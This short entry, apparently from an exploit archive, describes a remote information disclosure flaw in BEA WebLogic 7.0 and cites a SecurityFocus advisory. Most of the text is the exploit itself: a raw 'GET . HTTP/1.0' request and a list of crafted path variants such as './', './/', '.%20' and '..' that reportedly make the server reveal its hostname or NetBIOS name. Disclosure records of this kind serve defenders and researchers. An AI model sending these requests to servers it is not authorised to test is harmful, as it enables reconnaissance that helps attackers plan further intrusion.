BEA WebLogic 7.0 - Hostname/NetBIOS Name Remote Information Disclosure
source: https://www.securityfocus.com/bid/7257/info
It has been reported that some types of requests may result in sensitive information disclosure. From this, an attacker may be able to launch a more organized attack against vulnerable hosts.
GET . HTTP/1.0\r\n\r\n
And also:
./
.//
.//////////////
.%20
.%20%20
..